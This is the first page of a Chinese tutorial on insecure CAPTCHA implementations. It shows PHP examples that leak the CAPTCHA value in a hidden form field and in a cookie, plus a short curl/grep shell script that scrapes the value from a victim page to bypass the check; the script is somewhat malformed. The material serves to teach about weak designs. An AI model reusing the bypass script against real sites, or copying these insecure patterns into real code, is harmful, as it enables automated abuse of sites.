所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息,
输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。
很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。
验证码在网页中的例子:
CODE:
<? /* * Filename: authpage.php * Author: hutuworm * Date: 2003-04-28 * @Copyleft hutuworm.org */
srand((double)microtime()*1000000);
//验证用户输入是否和验证码一致 if(isset($HTTP_POST_VARS[’authinput’])) { if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0) echo "验证成功!"; else echo "验证失败!"; } //生成新的四位整数验证码 while(($authnum=rand()%10000)<1000); ?> <form action=authpage.php method=post> <table> 请输入验证码:<input type=text name=authinput style="width: 80px"><br> <input type=submit name="验证" value="提交验证码"> <input type=hidden name=authnum value=<? echo $authnum; ?>> <img src=authimg.php?authnum=<? echo $authnum; ?>> </table> </form>
[Copy to clipboard]
以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。
CODE:
#!/bin/sh curl [url]http://www.vicitm.org/authpage.php[/url] authinput=`grep ’<input type=hidden name=authnum value=[[:digit:]]\{4\}>’ grep.txt | sed -e ’s/[^0-9]//g’` #得到网页中的
authnum curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="验证" -d authnum=$authnum
[Copy to clipboard]
CODE:
session_register("authnum"); $authnum = strval(rand("1111","9999")); setcookie("authnum",$authnum);
... <input type=text name=authnum maxlength=4><img src=get_code.php> ...
if($number != $login_check_number || empty($number)) { print("校验码不正确!"); die(); }
[Copy to clipboard]
第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破。
1 2 下一页 |